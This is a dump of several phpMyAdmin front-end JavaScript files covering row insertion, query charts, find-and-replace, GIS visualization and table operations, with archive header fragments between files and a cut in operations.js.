AJAX.registerOnload('table/change.js', function () { if ($('#insertForm').length) { // validate the comment form when it is submitted $('#insertForm').validate(); jQuery.validator.addMethod('validationFunctionForHex', function (value) { return value.match(/^[a-f0-9]*$/i) !== null; }); jQuery.validator.addMethod('validationFunctionForMd5', function (value, element, options) { return !(value.substring(0, 3) === 'MD5' && typeof options.data('maxlength') !== 'undefined' && options.data('maxlength') < 32); }); jQuery.validator.addMethod('validationFunctionForAesDesEncrypt', function (value, element, options) { var funType = value.substring(0, 3); if (funType !== 'AES' && funType !== 'DES') { return false; } var dataType = options.data('type'); if (dataType === 'HEX' || dataType === 'CHAR') { return true; } return false; }); jQuery.validator.addMethod('validationFunctionForDateTime', function (value, element, options) { var dtValue = value; var theType = options; if (theType === 'date') { return isDate(dtValue); } else if (theType === 'time') { return isTime(dtValue); } else if (theType === 'datetime' || theType === 'timestamp') { var tmstmp = false; dtValue = dtValue.trim(); if (dtValue === 'CURRENT_TIMESTAMP' || dtValue === 'current_timestamp()') { return true; } if (theType === 'timestamp') { tmstmp = true; } if (dtValue === '0000-00-00 00:00:00') { return true; } var dv = dtValue.indexOf(' '); if (dv === -1) { // Only the date component, which is valid return isDate(dtValue, tmstmp); } return isDate(dtValue.substring(0, dv), tmstmp) && isTime(dtValue.substring(dv + 1)); } }); } /* * message extending script must be run * after initiation of functions */ extendingValidatorMessages(); $.datepicker.initialized = false; $(document).on('click', 'span.open_gis_editor', function (event) { event.preventDefault(); var $span = $(this); // Current value var value = $span.parent('td').children('input[type=\'text\']').val(); // Field name var field = $span.parents('tr').children('td').first().find('input[type=\'hidden\']').val(); // Column type var type = $span.parents('tr').find('span.column_type').text(); // Names of input field and null checkbox var inputName = $span.parent('td').children('input[type=\'text\']').attr('name'); openGISEditor(); if (!gisEditorLoaded) { loadJSAndGISEditor(value, field, type, inputName); } else { loadGISEditor(value, field, type, inputName); } }); /** * Forced validation check of fields */ $(document).on('click','input[name^=\'insert_ignore_\']', function () { $('#insertForm').valid(); }); /** * Uncheck the null checkbox as geometry data is placed on the input field */ $(document).on('click', 'input[name=\'gis_data[save]\']', function () { var inputName = $('form#gis_data_editor_form').find('input[name=\'input_name\']').val(); var currentRow = $('input[name=\'' + inputName + '\']').parents('tr'); var $nullCheckbox = currentRow.find('.checkbox_null'); $nullCheckbox.prop('checked', false); var rowId = currentRow.find('.open_gis_editor').data('row-id'); // Unchecks the Ignore checkbox for the current row $('input[name=\'insert_ignore_' + rowId + '\']').prop('checked', false); }); /** * Handles all current checkboxes for Null; this only takes care of the * checkboxes on currently displayed rows as the rows generated by * "Continue insertion" are handled in the "Continue insertion" code * */ $(document).on('click', 'input.checkbox_null', function () { nullify( // use hidden fields populated by /table/change $(this).siblings('.nullify_code').val(), $(this).closest('tr').find('input:hidden').first().val(), $(this).siblings('.hashed_field').val(), $(this).siblings('.multi_edit').val() ); }); /** * Reset the auto_increment column to 0 when selecting any of the * insert options in submit_type-dropdown. Only perform the reset * when we are in edit-mode, and not in insert-mode(no previous value * available). */ $('select[name="submit_type"]').on('change', function () { var thisElemSubmitTypeVal = $(this).val(); var $table = $('table.insertRowTable'); var autoIncrementColumn = $table.find('input[name^="auto_increment"]'); autoIncrementColumn.each(function () { var $thisElemAIField = $(this); var thisElemName = $thisElemAIField.attr('name'); var prevValueField = $table.find('input[name="' + thisElemName.replace('auto_increment', 'fields_prev') + '"]'); var valueField = $table.find('input[name="' + thisElemName.replace('auto_increment', 'fields') + '"]'); var previousValue = $(prevValueField).val(); if (previousValue !== undefined) { if (thisElemSubmitTypeVal === 'insert' || thisElemSubmitTypeVal === 'insertignore' || thisElemSubmitTypeVal === 'showinsert' ) { $(valueField).val(null); } else { $(valueField).val(previousValue); } } }); }); /** * Handle ENTER key when press on Continue insert with field */ $('#insert_rows').on('keypress', function (e) { var key = e.which; if (key === 13) { addNewContinueInsertionFields(e); } }); /** * Continue Insertion form */ $(document).on('change', '#insert_rows', addNewContinueInsertionFields); }); function addNewContinueInsertionFields (event) { event.preventDefault(); /** * @var columnCount Number of number of columns table has. */ var columnCount = $('table.insertRowTable').first().find('tr').has('input[name*=\'fields_name\']').length; /** * @var curr_rows Number of current insert rows already on page */ var currRows = $('table.insertRowTable').length; /** * @var target_rows Number of rows the user wants */ var targetRows = $('#insert_rows').val(); // remove all datepickers $('input.datefield, input.datetimefield').each(function () { $(this).datepicker('destroy'); }); if (currRows < targetRows) { var tempIncrementIndex = function () { var $thisElement = $(this); /** * Extract the index from the name attribute for all input/select fields and increment it * name is of format funcs[multi_edit][10][] */ /** * @var this_name String containing name of the input/select elements */ var thisName = $thisElement.attr('name'); /** split {@link thisName} at [10], so we have the parts that can be concatenated later */ var nameParts = thisName.split(/\[\d+\]/); /** extract the [10] from {@link nameParts} */ var oldRowIndexString = thisName.match(/\[\d+\]/)[0]; /** extract 10 - had to split into two steps to accomodate double digits */ var oldRowIndex = parseInt(oldRowIndexString.match(/\d+/)[0], 10); /** calculate next index i.e. 11 */ newRowIndex = oldRowIndex + 1; /** generate the new name i.e. funcs[multi_edit][11][foobarbaz] */ var newName = nameParts[0] + '[' + newRowIndex + ']' + nameParts[1]; var hashedField = nameParts[1].match(/\[(.+)\]/)[1]; $thisElement.attr('name', newName); /** If element is select[name*='funcs'], update id */ if ($thisElement.is('select[name*=\'funcs\']')) { var thisId = $thisElement.attr('id'); var idParts = thisId.split(/_/); var oldIdIndex = idParts[1]; var prevSelectedValue = $('#field_' + oldIdIndex + '_1').val(); var newIdIndex = parseInt(oldIdIndex) + columnCount; var newId = 'field_' + newIdIndex + '_1'; $thisElement.attr('id', newId); $thisElement.find('option').filter(function () { return $(this).text() === prevSelectedValue; }).attr('selected','selected'); // If salt field is there then update its id. var nextSaltInput = $thisElement.parent().next('td').next('td').find('input[name*=\'salt\']'); if (nextSaltInput.length !== 0) { nextSaltInput.attr('id', 'salt_' + newId); } } // handle input text fields and textareas if ($thisElement.is('.textfield') || $thisElement.is('.char') || $thisElement.is('textarea')) { // do not remove the 'value' attribute for ENUM columns // special handling for radio fields after updating ids to unique - see below if ($thisElement.closest('tr').find('span.column_type').html() !== 'enum') { $thisElement.val($thisElement.closest('tr').find('span.default_value').html()); } $thisElement .off('change') // Remove onchange attribute that was placed // by /table/change; it refers to the wrong row index .attr('onchange', null) // Keep these values to be used when the element // will change .data('hashed_field', hashedField) .data('new_row_index', newRowIndex) .on('change', function () { var $changedElement = $(this); verificationsAfterFieldChange( $changedElement.data('hashed_field'), $changedElement.data('new_row_index'), $changedElement.closest('tr').find('span.column_type').html() ); }); } if ($thisElement.is('.checkbox_null')) { $thisElement // this event was bound earlier by jQuery but // to the original row, not the cloned one, so unbind() .off('click') // Keep these values to be used when the element // will be clicked .data('hashed_field', hashedField) .data('new_row_index', newRowIndex) .on('click', function () { var $changedElement = $(this); nullify( $changedElement.siblings('.nullify_code').val(), $thisElement.closest('tr').find('input:hidden').first().val(), $changedElement.data('hashed_field'), '[multi_edit][' + $changedElement.data('new_row_index') + ']' ); }); } }; var tempReplaceAnchor = function () { var $anchor = $(this); var newValue = 'rownumber=' + newRowIndex; // needs improvement in case something else inside // the href contains this pattern var newHref = $anchor.attr('href').replace(/rownumber=\d+/, newValue); $anchor.attr('href', newHref); }; var restoreValue = function () { if ($(this).closest('tr').find('span.column_type').html() === 'enum') { if ($(this).val() === $checkedValue) { $(this).prop('checked', true); } else { $(this).prop('checked', false); } } }; while (currRows < targetRows) { /** * @var $last_row Object referring to the last row */ var $lastRow = $('#insertForm').find('.insertRowTable').last(); // need to access this at more than one level // (also needs improvement because it should be calculated // just once per cloned row, not once per column) var newRowIndex = 0; var $checkedValue = $lastRow.find('input:checked').val(); // Clone the insert tables $lastRow .clone(true, true) .insertBefore('#actions_panel') .find('input[name*=multi_edit],select[name*=multi_edit],textarea[name*=multi_edit]') .each(tempIncrementIndex) .end() .find('.foreign_values_anchor') .each(tempReplaceAnchor); var $oldRow = $lastRow.find('.textfield'); $oldRow.each(restoreValue); // set the value of enum field of new row to default var $newRow = $('#insertForm').find('.insertRowTable').last(); $newRow.find('.textfield').each(function () { if ($(this).closest('tr').find('span.column_type').html() === 'enum') { if ($(this).val() === $(this).closest('tr').find('span.default_value').html()) { $(this).prop('checked', true); } else { $(this).prop('checked', false); } } }); // Insert/Clone the ignore checkboxes if (currRows === 1) { $('') .insertBefore($('table.insertRowTable').last()) .after(''); } else { /** * @var $last_checkbox Object reference to the last checkbox in #insertForm */ var $lastCheckbox = $('#insertForm').children('input:checkbox').last(); /** name of {@link $lastCheckbox} */ var lastCheckboxName = $lastCheckbox.attr('name'); /** index of {@link $lastCheckbox} */ var lastCheckboxIndex = parseInt(lastCheckboxName.match(/\d+/), 10); /** name of new {@link $lastCheckbox} */ var newName = lastCheckboxName.replace(/\d+/, lastCheckboxIndex + 1); $('
            ') .insertBefore($('table.insertRowTable').last()); $lastCheckbox .clone() .attr({ 'id': newName, 'name': newName }) .prop('checked', true) .insertBefore($('table.insertRowTable').last()); $('label[for^=insert_ignore]').last() .clone() .attr('for', newName) .insertBefore($('table.insertRowTable').last()); $('
            ') .insertBefore($('table.insertRowTable').last()); } currRows++; } // recompute tabindex for text fields and other controls at footer; // IMO it's not really important to handle the tabindex for // function and Null var tabIndex = 0; $('.textfield, .char, textarea') .each(function () { tabIndex++; $(this).attr('tabindex', tabIndex); // update the IDs of textfields to ensure that they are unique $(this).attr('id', 'field_' + tabIndex + '_3'); }); $('.control_at_footer') .each(function () { tabIndex++; $(this).attr('tabindex', tabIndex); }); } else if (currRows > targetRows) { /** * Displays alert if data loss possible on decrease * of rows. */ var checkLock = jQuery.isEmptyObject(AJAX.lockedTargets); if (checkLock || confirm(Messages.strConfirmRowChange) === true) { while (currRows > targetRows) { $('input[id^=insert_ignore]').last() .nextUntil('fieldset') .addBack() .remove(); currRows--; } } else { document.getElementById('insert_rows').value = currRows; } } // Add all the required datepickers back Functions.addDateTimePicker(); } // eslint-disable-next-line no-unused-vars function changeValueFieldType (elem, searchIndex) { var fieldsValue = $('input#fieldID_' + searchIndex); if (0 === fieldsValue.size()) { return; } var type = $(elem).val(); if ('LIKE' === type || 'LIKE %...%' === type || 'NOT LIKE' === type || 'NOT LIKE %...%' === type ) { $('#fieldID_' + searchIndex).data('data-skip-validators', true); return; } else { $('#fieldID_' + searchIndex).data('data-skip-validators', false); } if ('IN (...)' === type || 'NOT IN (...)' === type || 'BETWEEN' === type || 'NOT BETWEEN' === type ) { $('#fieldID_' + searchIndex).prop('multiple', true); } else { $('#fieldID_' + searchIndex).prop('multiple', false); } } src/table/chart.js000066600000033766151724472060010114 0ustar00 /* global ColumnType, DataTable, JQPlotChartFactory */ // js/chart.js /* global codeMirrorEditor */ // js/functions.js var chartData = {}; var tempChartTitle; var currentChart = null; var currentSettings = null; var dateTimeCols = []; var numericCols = []; function extractDate (dateString) { var matches; var match; var dateTimeRegExp = /[0-9]{4}-[0-9]{2}-[0-9]{2} [0-9]{2}:[0-9]{2}:[0-9]{2}/; var dateRegExp = /[0-9]{4}-[0-9]{2}-[0-9]{2}/; matches = dateTimeRegExp.exec(dateString); if (matches !== null && matches.length > 0) { match = matches[0]; return new Date(match.substr(0, 4), parseInt(match.substr(5, 2), 10) - 1, match.substr(8, 2), match.substr(11, 2), match.substr(14, 2), match.substr(17, 2)); } else { matches = dateRegExp.exec(dateString); if (matches !== null && matches.length > 0) { match = matches[0]; return new Date(match.substr(0, 4), parseInt(match.substr(5, 2), 10) - 1, match.substr(8, 2)); } } return null; } function queryChart (data, columnNames, settings) { if ($('#querychart').length === 0) { return; } var plotSettings = { title : { text : settings.title, escapeHtml: true }, grid : { drawBorder : false, shadow : false, background : 'rgba(0,0,0,0)' }, legend : { show : true, placement : 'outsideGrid', location : 'e', rendererOptions: { numberColumns: 2 } }, axes : { xaxis : { label : Functions.escapeHtml(settings.xaxisLabel) }, yaxis : { label : settings.yaxisLabel } }, stackSeries : settings.stackSeries }; // create the chart var factory = new JQPlotChartFactory(); var chart = factory.createChart(settings.type, 'querychart'); // create the data table and add columns var dataTable = new DataTable(); if (settings.type === 'timeline') { dataTable.addColumn(ColumnType.DATE, columnNames[settings.mainAxis]); } else if (settings.type === 'scatter') { dataTable.addColumn(ColumnType.NUMBER, columnNames[settings.mainAxis]); } else { dataTable.addColumn(ColumnType.STRING, columnNames[settings.mainAxis]); } var i; var values = []; if (settings.seriesColumn === null) { $.each(settings.selectedSeries, function (index, element) { dataTable.addColumn(ColumnType.NUMBER, columnNames[element]); }); // set data to the data table var columnsToExtract = [settings.mainAxis]; $.each(settings.selectedSeries, function (index, element) { columnsToExtract.push(element); }); var newRow; var row; var col; for (i = 0; i < data.length; i++) { row = data[i]; newRow = []; for (var j = 0; j < columnsToExtract.length; j++) { col = columnNames[columnsToExtract[j]]; if (j === 0) { if (settings.type === 'timeline') { // first column is date type newRow.push(extractDate(row[col])); } else if (settings.type === 'scatter') { newRow.push(parseFloat(row[col])); } else { // first column is string type newRow.push(row[col]); } } else { // subsequent columns are of type, number newRow.push(parseFloat(row[col])); } } values.push(newRow); } dataTable.setData(values); } else { var seriesNames = {}; var seriesNumber = 1; var seriesColumnName = columnNames[settings.seriesColumn]; for (i = 0; i < data.length; i++) { if (! seriesNames[data[i][seriesColumnName]]) { seriesNames[data[i][seriesColumnName]] = seriesNumber; seriesNumber++; } } $.each(seriesNames, function (seriesName) { dataTable.addColumn(ColumnType.NUMBER, seriesName); }); var valueMap = {}; var xValue; var value; var mainAxisName = columnNames[settings.mainAxis]; var valueColumnName = columnNames[settings.valueColumn]; for (i = 0; i < data.length; i++) { xValue = data[i][mainAxisName]; value = valueMap[xValue]; if (! value) { value = [xValue]; valueMap[xValue] = value; } seriesNumber = seriesNames[data[i][seriesColumnName]]; value[seriesNumber] = parseFloat(data[i][valueColumnName]); } $.each(valueMap, function (index, value) { values.push(value); }); dataTable.setData(values); } // draw the chart and return the chart object chart.draw(dataTable, plotSettings); return chart; } function drawChart () { currentSettings.width = $('#resizer').width() - 20; currentSettings.height = $('#resizer').height() - 20; // TODO: a better way using .redraw() ? if (currentChart !== null) { currentChart.destroy(); } var columnNames = []; $('#chartXAxisSelect option').each(function () { columnNames.push(Functions.escapeHtml($(this).text())); }); try { currentChart = queryChart(chartData, columnNames, currentSettings); if (currentChart !== null) { $('#saveChart').attr('href', currentChart.toImageString()); } } catch (err) { Functions.ajaxShowMessage(err.message, false); } } function getSelectedSeries () { var val = $('#chartSeriesSelect').val() || []; var ret = []; $.each(val, function (i, v) { ret.push(parseInt(v, 10)); }); return ret; } function onXAxisChange () { var $xAxisSelect = $('#chartXAxisSelect'); currentSettings.mainAxis = parseInt($xAxisSelect.val(), 10); if (dateTimeCols.indexOf(currentSettings.mainAxis) !== -1) { document.getElementById('timelineChartType').classList.remove('d-none'); } else { document.getElementById('timelineChartType').classList.add('d-none'); if (currentSettings.type === 'timeline') { $('#lineChartTypeRadio').prop('checked', true); currentSettings.type = 'line'; } } if (numericCols.indexOf(currentSettings.mainAxis) !== -1) { document.getElementById('scatterChartType').classList.remove('d-none'); } else { document.getElementById('scatterChartType').classList.add('d-none'); if (currentSettings.type === 'scatter') { $('#lineChartTypeRadio').prop('checked', true); currentSettings.type = 'line'; } } var xAxisTitle = $xAxisSelect.children('option:selected').text(); $('#xAxisLabelInput').val(xAxisTitle); currentSettings.xaxisLabel = xAxisTitle; } function onDataSeriesChange () { var $seriesSelect = $('#chartSeriesSelect'); currentSettings.selectedSeries = getSelectedSeries(); var yAxisTitle; if (currentSettings.selectedSeries.length === 1) { document.getElementById('pieChartType').classList.remove('d-none'); yAxisTitle = $seriesSelect.children('option:selected').text(); } else { document.getElementById('pieChartType').classList.add('d-none'); if (currentSettings.type === 'pie') { $('#lineChartTypeRadio').prop('checked', true); currentSettings.type = 'line'; } yAxisTitle = Messages.strYValues; } $('#yAxisLabelInput').val(yAxisTitle); currentSettings.yaxisLabel = yAxisTitle; } /** * Unbind all event handlers before tearing down a page */ AJAX.registerTeardown('table/chart.js', function () { $('input[name="chartType"]').off('click'); $('#barStackedCheckbox').off('click'); $('#seriesColumnCheckbox').off('click'); $('#chartTitleInput').off('focus').off('keyup').off('blur'); $('#chartXAxisSelect').off('change'); $('#chartSeriesSelect').off('change'); $('#chartSeriesColumnSelect').off('change'); $('#chartValueColumnSelect').off('change'); $('#xAxisLabelInput').off('keyup'); $('#yAxisLabelInput').off('keyup'); $('#resizer').off('resizestop'); $('#tblchartform').off('submit'); }); AJAX.registerOnload('table/chart.js', function () { // handle manual resize $('#resizer').on('resizestop', function () { // make room so that the handle will still appear $('#querychart').height($('#resizer').height() * 0.96); $('#querychart').width($('#resizer').width() * 0.96); if (currentChart !== null) { currentChart.redraw({ resetAxes : true }); } }); // handle chart type changes $('input[name="chartType"]').on('click', function () { var type = currentSettings.type = $(this).val(); if (type === 'bar' || type === 'column' || type === 'area') { document.getElementById('barStacked').classList.remove('d-none'); } else { $('#barStackedCheckbox').prop('checked', false); $.extend(true, currentSettings, { stackSeries : false }); document.getElementById('barStacked').classList.add('d-none'); } drawChart(); }); // handle chosing alternative data format $('#seriesColumnCheckbox').on('click', function () { var $seriesColumn = $('#chartSeriesColumnSelect'); var $valueColumn = $('#chartValueColumnSelect'); var $chartSeries = $('#chartSeriesSelect'); if ($(this).is(':checked')) { $seriesColumn.prop('disabled', false); $valueColumn.prop('disabled', false); $chartSeries.prop('disabled', true); currentSettings.seriesColumn = parseInt($seriesColumn.val(), 10); currentSettings.valueColumn = parseInt($valueColumn.val(), 10); } else { $seriesColumn.prop('disabled', true); $valueColumn.prop('disabled', true); $chartSeries.prop('disabled', false); currentSettings.seriesColumn = null; currentSettings.valueColumn = null; } drawChart(); }); // handle stacking for bar, column and area charts $('#barStackedCheckbox').on('click', function () { if ($(this).is(':checked')) { $.extend(true, currentSettings, { stackSeries : true }); } else { $.extend(true, currentSettings, { stackSeries : false }); } drawChart(); }); // handle changes in chart title $('#chartTitleInput') .on('focus', function () { tempChartTitle = $(this).val(); }) .on('keyup', function () { currentSettings.title = $('#chartTitleInput').val(); drawChart(); }) .on('blur', function () { if ($(this).val() !== tempChartTitle) { drawChart(); } }); // handle changing the x-axis $('#chartXAxisSelect').on('change', function () { onXAxisChange(); drawChart(); }); // handle changing the selected data series $('#chartSeriesSelect').on('change', function () { onDataSeriesChange(); drawChart(); }); // handle changing the series column $('#chartSeriesColumnSelect').on('change', function () { currentSettings.seriesColumn = parseInt($(this).val(), 10); drawChart(); }); // handle changing the value column $('#chartValueColumnSelect').on('change', function () { currentSettings.valueColumn = parseInt($(this).val(), 10); drawChart(); }); // handle manual changes to the chart x-axis labels $('#xAxisLabelInput').on('keyup', function () { currentSettings.xaxisLabel = $(this).val(); drawChart(); }); // handle manual changes to the chart y-axis labels $('#yAxisLabelInput').on('keyup', function () { currentSettings.yaxisLabel = $(this).val(); drawChart(); }); // handler for ajax form submission $('#tblchartform').on('submit', function () { var $form = $(this); if (codeMirrorEditor) { $form[0].elements.sql_query.value = codeMirrorEditor.getValue(); } if (!Functions.checkSqlQuery($form[0])) { return false; } var $msgbox = Functions.ajaxShowMessage(); Functions.prepareForAjaxRequest($form); $.post($form.attr('action'), $form.serialize(), function (data) { if (typeof data !== 'undefined' && data.success === true && typeof data.chartData !== 'undefined') { chartData = JSON.parse(data.chartData); drawChart(); Functions.ajaxRemoveMessage($msgbox); } else { Functions.ajaxShowMessage(data.error, false); } }, 'json'); // end $.post() return false; }); // from jQuery UI $('#resizer').resizable({ minHeight: 240, minWidth: 300 }) .width($('#div_view_options').width() - 50) .trigger('resizestop'); currentSettings = { type : 'line', width : $('#resizer').width() - 20, height : $('#resizer').height() - 20, xaxisLabel : $('#xAxisLabelInput').val(), yaxisLabel : $('#yAxisLabelInput').val(), title : $('#chartTitleInput').val(), stackSeries : false, mainAxis : parseInt($('#chartXAxisSelect').val(), 10), selectedSeries : getSelectedSeries(), seriesColumn : null }; var vals = $('input[name="dateTimeCols"]').val().split(' '); $.each(vals, function (i, v) { dateTimeCols.push(parseInt(v, 10)); }); vals = $('input[name="numericCols"]').val().split(' '); $.each(vals, function (i, v) { numericCols.push(parseInt(v, 10)); }); onXAxisChange(); onDataSeriesChange(); $('#tblchartform').trigger('submit'); }); src/table/find_replace.js000066600000003104151724472060011405 0ustar00/** * Unbind all event handlers before tearing down a page */ AJAX.registerTeardown('table/find_replace.js', function () { $('#find_replace_form').off('submit'); $('#toggle_find').off('click'); }); /** * Bind events */ AJAX.registerOnload('table/find_replace.js', function () { $('
            ') .insertAfter('#find_replace_form') .hide(); $('#toggle_find') .html(Messages.strHideFindNReplaceCriteria) .on('click', function () { var $link = $(this); $('#find_replace_form').slideToggle(); if ($link.text() === Messages.strHideFindNReplaceCriteria) { $link.text(Messages.strShowFindNReplaceCriteria); } else { $link.text(Messages.strHideFindNReplaceCriteria); } return false; }); $('#find_replace_form').on('submit', function (e) { e.preventDefault(); var findReplaceForm = $('#find_replace_form'); Functions.prepareForAjaxRequest(findReplaceForm); var $msgbox = Functions.ajaxShowMessage(); $.post(findReplaceForm.attr('action'), findReplaceForm.serialize(), function (data) { Functions.ajaxRemoveMessage($msgbox); if (data.success === true) { $('#toggle_find_div').show(); $('#toggle_find').trigger('click'); $('#sqlqueryresultsouter').html(data.preview); } else { $('#sqlqueryresultsouter').html(data.error); } }); }); }); src/table/gis_visualization.js000066600000024230151724472060012540 0ustar00/** * @fileoverview functions used for visualizing GIS data * * @requires jquery */ /* global drawOpenLayers PASSIVE_EVENT_LISTENERS */ // templates/table/gis_visualization/gis_visualization.twig // Constants var zoomFactor = 1.5; var defaultX = 0; var defaultY = 0; var defaultScale = 1; // Variables var x = defaultX; var y = defaultY; var scale = defaultScale; /** @type {SVGElement|undefined} */ var gisSvg; /** @type {ol.Map|undefined} */ var map; /** * Zooms and pans the visualization. */ function zoomAndPan () { var g = gisSvg.getElementById('groupPanel'); if (!g) { return; } $('#groupPanel', gisSvg).attr('transform', 'translate(' + x + ', ' + y + ') scale(' + scale + ')'); $('circle.vector', gisSvg).attr('r', 3 / scale); $('circle.vector', gisSvg).attr('stroke-width', 2 / scale); $('polyline.vector', gisSvg).attr('stroke-width', 2 / scale); $('path.vector', gisSvg).attr('stroke-width', 0.5 / scale); } /** * Initially loads either SVG or OSM visualization based on the choice. */ function selectVisualization () { if ($('#choice').prop('checked') !== true) { $('#openlayersmap').hide(); } else { $('#placeholder').hide(); } } /** * Adds necessary styles to the div that contains the openStreetMap. */ function styleOSM () { var $placeholder = $('#placeholder'); var cssObj = { 'border' : '1px solid #aaa', 'width' : $placeholder.width(), 'height' : $placeholder.height(), 'float' : 'right' }; $('#openlayersmap').css(cssObj); } /** * Store a reference to the gis svg element. */ function storeGisSvgRef () { gisSvg = $('#placeholder').find('svg').get(0); } /** * Adds controls for zooming and panning. */ function addZoomPanControllers () { if (!gisSvg) { return; } var themeImagePath = $('#themeImagePath').val(); $('#placeholder').append( // pan arrows '', '', '', '', // zoom controls '', '', '' ); } /** * Resizes the GIS visualization to fit into the space available. */ function resizeGISVisualization () { var $placeholder = $('#placeholder'); var oldWidth = $placeholder.width(); var visWidth = $('#div_view_options').width() - 48; // Assign new value for width $placeholder.width(visWidth); $(gisSvg).attr('width', visWidth); // Assign the offset created due to resizing to defaultX and center the svg. defaultX = (visWidth - oldWidth) / 2; x = defaultX; y = defaultY; scale = defaultScale; } /** * Initialize the GIS visualization. */ function initGISVisualization () { storeGisSvgRef(); // Loads either SVG or OSM visualization based on the choice selectVisualization(); // Resizes the GIS visualization to fit into the space available resizeGISVisualization(); if (typeof ol !== 'undefined') { // Adds necessary styles to the div that contains the openStreetMap styleOSM(); } // Adds controllers for zooming and panning addZoomPanControllers(); zoomAndPan(); } function drawOpenLayerMap () { $('#placeholder').hide(); $('#openlayersmap').show(); // Function doesn't work properly if #openlayersmap is hidden if (typeof map !== 'object') { // Draws openStreetMap with openLayers map = drawOpenLayers(); } } function getRelativeCoords (e) { var position = $('#placeholder').offset(); return { x : e.pageX - position.left, y : e.pageY - position.top }; } /** * @param {WheelEvent} event */ function onGisMouseWheel (event) { if (event.deltaY === 0) { return; } event.preventDefault(); var relCoords = getRelativeCoords(event); var factor = event.deltaY > 0 ? zoomFactor : 1 / zoomFactor; // zoom scale *= factor; // zooming keeping the position under mouse pointer unmoved. x = relCoords.x - (relCoords.x - x) * factor; y = relCoords.y - (relCoords.y - y) * factor; zoomAndPan(); } /** * Ajax handlers for GIS visualization page * * Actions Ajaxified here: * * Zooming in and zooming out on mouse wheel movement. * Panning the visualization on dragging. * Zooming in on double clicking. * Zooming out on clicking the zoom out button. * Panning on clicking the arrow buttons. * Displaying tooltips for GIS objects. */ /** * Unbind all event handlers before tearing down a page */ AJAX.registerTeardown('table/gis_visualization.js', function () { $(document).off('click', '#choice'); $(document).off('dragstart', 'svg'); $(document).off('mouseup', 'svg'); $(document).off('drag', 'svg'); $(document).off('dblclick', '#placeholder'); $(document).off('click', '#zoom_in'); $(document).off('click', '#zoom_world'); $(document).off('click', '#zoom_out'); $(document).off('click', '#left_arrow'); $(document).off('click', '#right_arrow'); $(document).off('click', '#up_arrow'); $(document).off('click', '#down_arrow'); $('.vector').off('mousemove').off('mouseout'); $('#placeholder').get(0).removeEventListener( 'wheel', onGisMouseWheel, PASSIVE_EVENT_LISTENERS ? { passive: false } : undefined ); if (map) { // Removes ol.Map's resize listener from window map.setTarget(null); map = undefined; } }); AJAX.registerOnload('table/gis_visualization.js', function () { // If we are in GIS visualization, initialize it if ($('#gis_div').length > 0) { initGISVisualization(); } if ($('#choice').prop('checked') === true) { drawOpenLayerMap(); } if (typeof ol === 'undefined') { $('#choice, #labelChoice').hide(); } $(document).on('click', '#choice', function () { if ($(this).prop('checked') === false) { $('#placeholder').show(); $('#openlayersmap').hide(); } else { drawOpenLayerMap(); } }); $('#placeholder').get(0).addEventListener( 'wheel', onGisMouseWheel, PASSIVE_EVENT_LISTENERS ? { passive: false } : undefined ); var dragX = 0; var dragY = 0; $('svg').draggable({ helper: function () { return $('
            ');// Give a fake element to be used for dragging display } }); $(document).on('dragstart', 'svg', function (event, dd) { $('#placeholder').addClass('placeholderDrag'); dragX = Math.round(dd.offset.left); dragY = Math.round(dd.offset.top); }); $(document).on('mouseup', 'svg', function () { $('#placeholder').removeClass('placeholderDrag'); }); $(document).on('drag', 'svg', function (event, dd) { var newX = Math.round(dd.offset.left); x += newX - dragX; dragX = newX; var newY = Math.round(dd.offset.top); y += newY - dragY; dragY = newY; zoomAndPan(); }); $(document).on('dblclick', '#placeholder', function (event) { if (event.target.classList.contains('button')) { return; } scale *= zoomFactor; // zooming in keeping the position under mouse pointer unmoved. var relCoords = getRelativeCoords(event); x = relCoords.x - (relCoords.x - x) * zoomFactor; y = relCoords.y - (relCoords.y - y) * zoomFactor; zoomAndPan(); }); $(document).on('click', '#zoom_in', function (e) { e.preventDefault(); // zoom in scale *= zoomFactor; var width = $(gisSvg).attr('width'); var height = $(gisSvg).attr('height'); // zooming in keeping the center unmoved. x = width / 2 - (width / 2 - x) * zoomFactor; y = height / 2 - (height / 2 - y) * zoomFactor; zoomAndPan(); }); $(document).on('click', '#zoom_world', function (e) { e.preventDefault(); scale = 1; x = defaultX; y = defaultY; zoomAndPan(); }); $(document).on('click', '#zoom_out', function (e) { e.preventDefault(); // zoom out scale /= zoomFactor; var width = $(gisSvg).attr('width'); var height = $(gisSvg).attr('height'); // zooming out keeping the center unmoved. x = width / 2 - (width / 2 - x) / zoomFactor; y = height / 2 - (height / 2 - y) / zoomFactor; zoomAndPan(); }); $(document).on('click', '#left_arrow', function (e) { e.preventDefault(); x += 100; zoomAndPan(); }); $(document).on('click', '#right_arrow', function (e) { e.preventDefault(); x -= 100; zoomAndPan(); }); $(document).on('click', '#up_arrow', function (e) { e.preventDefault(); y += 100; zoomAndPan(); }); $(document).on('click', '#down_arrow', function (e) { e.preventDefault(); y -= 100; zoomAndPan(); }); /** * Detect the mousemove event and show tooltips. */ $('.vector').on('mousemove', function (event) { var contents = Functions.escapeHtml($(this).attr('name')).trim(); $('#tooltip').remove(); if (contents !== '') { $('
            ' + contents + '
            ').css({ position : 'absolute', top : event.pageY + 10, left : event.pageX + 10, border : '1px solid #fdd', padding : '2px', 'background-color' : '#fee', opacity : 0.90 }).appendTo('body').fadeIn(200); } }); /** * Detect the mouseout event and hide tooltips. */ $('.vector').on('mouseout', function () { $('#tooltip').remove(); }); }); src/table/operations.js000066600000034053151724472060011164 0ustar00/** * Unbind all event handlers before tearing down a page */ AJAX.registerTeardown('table/operations.js', function () { $(document).off('submit', '#copyTable.ajax'); $(document).off('submit', '#moveTableForm'); $(document).off('submit', '#tableOptionsForm'); $(document).off('submit', '#partitionsForm'); $(document).off('click', '#tbl_maintenance li a.maintain_action.ajax'); $(document).off('click', '#drop_tbl_anchor.ajax'); $(document).off('click', '#drop_view_anchor.ajax'); $(document).off('click', '#truncate_tbl_anchor.ajax'); $(document).off('click', '#delete_tbl_anchor.ajax'); }); /** * Confirm and send POST request * * @param {JQuery} linkObject * @param {'TRUNCATE'|'DELETE'} action * * @return {void} */ var confirmAndPost = function (linkObject, action) { /** * @var {String} question String containing the question to be asked for confirmation */ var question = ''; if (action === 'TRUNCATE') { question += Messages.strTruncateTableStrongWarning + ' '; } else if (action === 'DELETE') { question += Messages.strDeleteTableStrongWarning + ' '; } question += Functions.sprintf(Messages.strDoYouReally, linkObject.data('query')); question += Functions.getForeignKeyCheckboxLoader(); linkObject.confirm(question, linkObject.attr('href'), function (url) { Functions.ajaxShowMessage(Messages.strProcessingRequest); var params = Functions.getJsConfirmCommonParam(this, linkObject.getPostData()); $.post(url, params, function (data) { if 